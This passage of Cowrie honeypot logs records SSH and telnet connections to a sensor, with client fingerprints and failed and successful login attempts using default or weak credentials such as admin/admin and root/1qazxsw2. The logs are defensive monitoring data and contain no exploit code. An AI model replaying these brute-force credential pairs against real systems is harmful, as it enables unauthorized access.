.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:59.736210Z","src_ip":"83.168.110.85","session":"fccf0420b7e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:00.140317Z","src_ip":"83.168.110.85","session":"fccf0420b7e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:01.272349Z","src_ip":"83.168.110.85","session":"fccf0420b7e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57134,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2061ba6437f","protocol":"ssh","message":"New connection: 83.168.110.85:57134 (10.17.0.5:22) [session: f2061ba6437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:06.881764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:06.890733Z","src_ip":"83.168.110.85","session":"f2061ba6437f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:07.012314Z","src_ip":"83.168.110.85","session":"f2061ba6437f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:07.376188Z","src_ip":"83.168.110.85","session":"f2061ba6437f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:08.765554Z","src_ip":"83.168.110.85","session":"f2061ba6437f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57144,"dst_ip":"10.17.0.5","dst_port":22,"session":"46122520912c","protocol":"ssh","message":"New connection: 83.168.110.85:57144 (10.17.0.5:22) [session: 46122520912c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:14.077736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:14.083207Z","src_ip":"83.168.110.85","session":"46122520912c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:14.208880Z","src_ip":"83.168.110.85","session":"46122520912c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:14.574702Z","src_ip":"83.168.110.85","session":"46122520912c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:15.705709Z","src_ip":"83.168.110.85","session":"46122520912c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43030,"dst_ip":"10.17.0.5","dst_port":23,"session":"75f8be6ed950","protocol":"telnet","message":"New connection: 152.42.224.71:43030 (10.17.0.5:23) [session: 75f8be6ed950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:16.651291Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41090,"dst_ip":"10.17.0.5","dst_port":23,"session":"53037d420556","protocol":"telnet","message":"New connection: 152.42.224.71:41090 (10.17.0.5:23) [session: 53037d420556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:21.066380Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58532,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a187a708ffb","protocol":"ssh","message":"New connection: 83.168.110.85:58532 (10.17.0.5:22) [session: 0a187a708ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:21.387678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:21.392819Z","src_ip":"83.168.110.85","session":"0a187a708ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:21.515042Z","src_ip":"83.168.110.85","session":"0a187a708ffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:22.048320Z","src_ip":"83.168.110.85","session":"0a187a708ffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.229.125.91","src_port":40046,"dst_ip":"159.203.135.109","dst_port":22,"session":"160c90588e96","protocol":"ssh","message":"New connection: 103.229.125.91:40046 (159.203.135.109:22) [session: 160c90588e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:22.197542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:22.202965Z","src_ip":"103.229.125.91","session":"160c90588e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:23.308645Z","src_ip":"83.168.110.85","session":"0a187a708ffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:23.354631Z","src_ip":"103.229.125.91","session":"160c90588e96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:25.395395Z","src_ip":"103.229.125.91","session":"160c90588e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:26.510437Z","src_ip":"103.229.125.91","session":"160c90588e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":27878,"dst_ip":"159.203.135.109","dst_port":22,"session":"3352f0ad41d1","protocol":"ssh","message":"New connection: 130.12.180.51:27878 (159.203.135.109:22) [session: 3352f0ad41d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:26.608388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:26.613298Z","src_ip":"130.12.180.51","session":"3352f0ad41d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:26.696832Z","src_ip":"130.12.180.51","session":"3352f0ad41d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:26.947427Z","src_ip":"130.12.180.51","session":"3352f0ad41d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:27.487430Z","src_ip":"130.12.180.51","session":"3352f0ad41d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59646,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff0a55830d12","protocol":"ssh","message":"New connection: 83.168.110.85:59646 (10.17.0.5:22) [session: ff0a55830d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:28.154619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:28.159027Z","src_ip":"83.168.110.85","session":"ff0a55830d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:28.279243Z","src_ip":"83.168.110.85","session":"ff0a55830d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:28.648967Z","src_ip":"83.168.110.85","session":"ff0a55830d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:29.772688Z","src_ip":"83.168.110.85","session":"ff0a55830d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42424,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffd758335612","protocol":"ssh","message":"New connection: 83.168.110.85:42424 (10.17.0.5:22) [session: ffd758335612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:34.966129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:34.970825Z","src_ip":"83.168.110.85","session":"ffd758335612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:35.100380Z","src_ip":"83.168.110.85","session":"ffd758335612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:35.640542Z","src_ip":"83.168.110.85","session":"ffd758335612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:36.765098Z","src_ip":"83.168.110.85","session":"ffd758335612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42436,"dst_ip":"10.17.0.5","dst_port":22,"session":"965c6415d4d7","protocol":"ssh","message":"New connection: 83.168.110.85:42436 (10.17.0.5:22) [session: 965c6415d4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:42.104247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:36:42.109876Z","src_ip":"83.168.110.85","session":"965c6415d4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 